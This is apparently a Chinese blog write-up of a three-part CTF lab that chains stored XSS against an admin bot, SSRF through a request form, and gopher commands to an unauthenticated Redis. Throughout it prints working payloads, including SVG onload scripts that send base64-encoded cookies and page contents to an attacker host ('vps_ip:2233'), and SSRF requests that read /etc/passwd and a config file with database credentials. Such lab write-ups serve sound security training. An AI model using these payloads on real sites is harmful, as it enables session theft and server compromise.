type
Post
status
Published
date
Apr 26, 2021
slug
2021/xssrf
summary
扔收藏夹很久了2333
tags
漏洞复现
category
漏洞靶场
icon
password
去年实习中就遇到一个场景,用 xss 去打 redis,想着刷刷靶场练习一下,然后就在收藏夹吃了一年的灰了。。
即下面链接的 38 - 40 题
扫描一下目录,发现 robots.txt 里有三条信息
Disallow: /config.php Disallow: /you/cant/read/config.php/can/you? Disallow: /backup.zip
发现 backup.zip 有密码打不开
xssme
随便用个帐号注册登录一下,在 Mailbox 收到管理员发来的邮件
I am admin from this website, I will read all your mails but never reply.
也就是会一直读我发的邮件,但是不会回复,也就是没有回显。
直接上 payload
<svg/onload="document.location='http://vps_ip:2233'">
这里用
svg/onload
是为了绕过空格限制
可以正常通信

获取管理员 Cookie
<svg/onload="document.location='http://vps_ip:2233/'+document.cookie">

奇怪,接收不到

但通过导航栏 Sent Mail 可以获取自己的。。。试试通过接收平台来接收
<svg/onload="document.location='http://c6i7bf.ceye.io/'+document.cookie">
只有 dns 解析记录,没有 http 请求记录。。XSS平台Cookie字段为空。。。
奇怪了,然后试试
<svg/onload="document.location='http://vps_ip:2233/'+document.cooki">
发现返回正常,难道,过滤了cookie关键字?或者,,Cookie里的特殊字段导致 HTTP包异常?尝试对获取到的 cookie 进行编码。
<svg/onload="document.location='http://vps_ip:2233/'+btoa(document.cookie)">
为啥用 btoa 呢,因为一开始试过了 escape 不过没用… escape 后 Cookie里也没空格的样子emmm
因为题目过滤了
)
,所以需要HTML编码一下双引号里面的。
好耶!


第一个flag
FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}
并提示了第二个 flag 在 redis 里
xssrf leak
尝试用 xssme 得到的 admin cookie ,尝试 XFF 也是如此。

这里先读一下 admin 页面
<svg/onload="document.location='http://vps_ip:2233/'+btoa(document.body.innerHTML)">
同样引号里的东西HTML编码一下给管理员发邮件

正常收到

把这一串 base64解码一下,提取关键信息,发现主要多了 Set Admin 和 Send Request 两个功能。
<ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" href="sendmail.php">Send Mail</a> </li> <li class="nav-item"> <a class="nav-link" href="mailbox.php">Mailbox</a> </li> <li class="nav-item"> <a class="nav-link" href="sentmail.php">Sent Mail</a> </li> <li class="nav-item"> <a class="nav-link" href="setadmin.php">Set Admin</a> </li> <li class="nav-item"> <a class="nav-link" href="request.php">Send Request</a> </li> </ul>
通过 AJAX 请求分别请求一下
setadmin.php
和 request.php
看看<svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps_ip:2233/'+btoa(xmlhttp.responseText); } } xmlhttp.open("GET","request.php",true); xmlhttp.send(); ">
一样HTML编码一下双引号里面的部分,同样在导航栏
Send Mail
部分发送
base64解码提取关键部分
<form action="/request.php" method="POST"> <div class="form-group"> <label for="url">URL</label> <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea> </div> <button class="btn btn-primary">Send Request</button> </form>
还有
setadmin.php
同样,结果 base64解码 提取关键部分<form action="/setadmin.php" method="POST"> <div class="form-group"> <label for="username">Username</label> <input type="text" name="username" class="form-control" id="username" aria-describedby="username" placeholder="Username"> </div> <button class="btn btn-primary">Give Admin Access</button> </form>
这里试试能不能通过
setadmin.php
设置管理员,之后操作也方式一点点。<svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps_ip:2233/'+btoa(xmlhttp.responseText); } } xmlhttp.open("POST","setadmin.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("username=tari"); ">
得到返回信息…
<div class="alert alert-warning">This user is already a admin.</div>
那继续通过这种方式获取利用
request.php
吧,存在 SSRF<svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps_ip:2233/'+btoa(xmlhttp.responseText); } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">
读了一下 /etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false messagebus:x:105:107::/var/run/dbus:/bin/false mysql:x:106:108:MySQL Server,,,:/nonexistent:/bin/false redis:x:107:110::/var/lib/redis:/bin/false
发现 www-data 解析目录为 /var/www 并且有 redis 用户
尝试了
/proc/self/environ
和 /proc/self/cmdline
都无法获取准确的 web 根目录,只能猜了,比如 /var/www/html (读取一下扫描目录发现的
config.php
<svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps_ip:2233/'+btoa(xmlhttp.responseText); } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///var/www/html/config.php"); ">
解码一下得到
<?php // database config define('DB_USER', 'xssrf'); define('DB_PASS', 'xssrfmeplz'); define('DB_HOST', 'host=localhost'); define('DB_NAME', 'xssrf'); // redis config define('REDIS_HOST', 'localhost'); define('REDIS_PORT', 25566); // define flag define('FLAG', 'FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}'); $c_hardness = 5; // how many proof of work leading zeros
第 2 个 flag
FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}
说好的第 2 个 flag 在 redis 里呢…
xssrf redis
上一个 flag 提示 redis 端口在
25566
先试试 gopher 协议 未授权打 redis
<svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps_ip:2233/'+btoa(xmlhttp.responseText); } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=gopher://127.0.0.1:25566/_info%250a"); ">
redis环境信息被愉快的打印出来

依次获取 redis 的键和值即可
- 获取所有键
xmlhttp.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a");
读取结果
*1 $4 flag
- 判断flag键的值类型
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag%250a");
读取结果
+list
- 获取flag键的所有列表值
xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%2520-1%250a");
把结果复制进字符串
s = """ *53 $1 } $1 t $1 i $1 o $1 l $1 p $1 x $1 e $1 $1 o $1 t $1 $1 y $1 s $1 a $1 e $1 $1 s $1 i $1 $1 n $1 o $1 i $1 t $1 a $1 c $1 i $1 t $1 n $1 e $1 h $1 t $1 u $1 a $1 $1 t $1 u $1 o $1 h $1 t $1 i $1 w $1 $1 s $1 i $1 d $1 e $1 R $1 { $1 G $1 A $1 L $1 F """ flag = '' for c in s: flag += c print(flag[::-1].replace("1$", "").replace("\n", ""))
结果在去除最后三个字符
35*
即可FLAG{Redis without authentication is easy to exploit}
虽然生产环境利用起来相对困难,不过毕竟是CTF嘛,骚思路多一个是一个 (
参考链接